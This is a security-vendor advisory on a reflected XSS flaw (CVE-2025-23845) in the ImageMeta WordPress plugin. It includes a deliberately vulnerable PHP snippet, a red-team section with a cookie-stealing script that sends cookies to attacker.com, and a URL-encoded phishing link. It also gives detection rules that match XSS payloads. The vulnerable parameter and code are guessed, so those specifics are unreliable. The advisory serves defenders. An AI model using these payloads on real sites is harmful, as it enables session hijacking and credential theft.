CVE-2025-23845

POC_DETAILS: No public proof-of-concept code is available at this time.

Executive Summary

CVE-2025-23845 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ImageMeta by Era404, affecting versions n/a through 1.1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session on the vulnerable WordPress site.

Given that this is a WordPress plugin vulnerability, the attack surface is limited to sites running the ImageMeta plugin. The CVSS score of 7.1 (High) reflects the low complexity of exploitation and the potential for significant impact on confidentiality, integrity, and availability, albeit with user interaction required.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As no patch is available, users are advised to remove or disable the plugin immediately. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited ability to disrupt service.

Threat Level: High (7.1) – Exploitation is straightforward and can lead to significant impact, though user interaction is required.

Deep Dive & Mechanics

The vulnerability exists in the imagemeta WordPress plugin, which is used to manage image metadata. The plugin fails to properly sanitize user input before reflecting it in the HTTP response. Specifically, a parameter (likely s or a similar search/query parameter) is echoed back without encoding or escaping, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. The victim (e.g., a site administrator) clicks the link or is redirected to it.
3. The WordPress server processes the request and reflects the payload in the response without sanitization.
4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or redirect to a phishing page.

Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses() functions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in the plugin's files. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (imagemeta.php):

<?php
$search = $_GET['s'];
echo "<div>Search results for: " . $search . "</div>";
?>

Patched Code (hypothetical):

<?php
$search = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo "<div>Search results for: " . esc_html($search) . "</div>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with ImageMeta plugin version <= 1.1.2.
• A web browser or tool like curl to test.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., s, search, q). Use a simple test:

   curl "http://target.com/wp-content/plugins/imagemeta/imagemeta.php?s=<script>alert(1)</script>"
   

2. If the alert executes in the browser, the parameter is vulnerable.
3. Craft a payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

4. URL-encode the payload and send the link to the victim:

   http://target.com/wp-content/plugins/imagemeta/imagemeta.php?s=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

No public exploit code is available from Exploit-DB.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious parameters.
• Use a Web Application Firewall (WAF) to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for requests to /wp-content/plugins/imagemeta/imagemeta.php with unusual query strings.
• Look for outbound connections from the web server to unknown IPs (potential cookie exfiltration).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-content/plugins/imagemeta/imagemeta.php with parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to attacker-controlled domains from the WordPress server.
• File IOCs:
  • Presence of the imagemeta plugin directory at /wp-content/plugins/imagemeta/.
  • Modified .htaccess or wp-config.php files (if attacker gains admin access).
• Log IOCs:
  • Web server logs showing 200 responses to requests with XSS payloads.
  • Error logs containing PHP Notice: Undefined index for the vulnerable parameter.

Detection Engineering

YARA Rule

rule CVE_2025_23845_ImageMeta_XSS {
    meta:
        description = "Detects reflected XSS attempts against ImageMeta plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23845"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vuln_param = "imagemeta.php"
    condition:
        $vuln_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against ImageMeta Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting the ImageMeta plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'imagemeta.php'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23845 - Reflected XSS in ImageMeta Plugin"; flow:to_server,established; content:"imagemeta.php"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the ImageMeta plugin from all WordPress installations.
2. If the plugin is critical, consider forking and patching the code manually (see Vulnerable vs. Patched Code section).
3. Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.

Long-term Recommendations:

• Regularly audit and update all WordPress plugins.
• Use a security plugin (e.g., Wordfence) to add an additional layer of protection.
• Educate users about phishing links and the risks of clicking untrusted URLs.
• Monitor the vendor's page for any future patches.

Valters IT – Securing digital frontiers, one vulnerability at a time.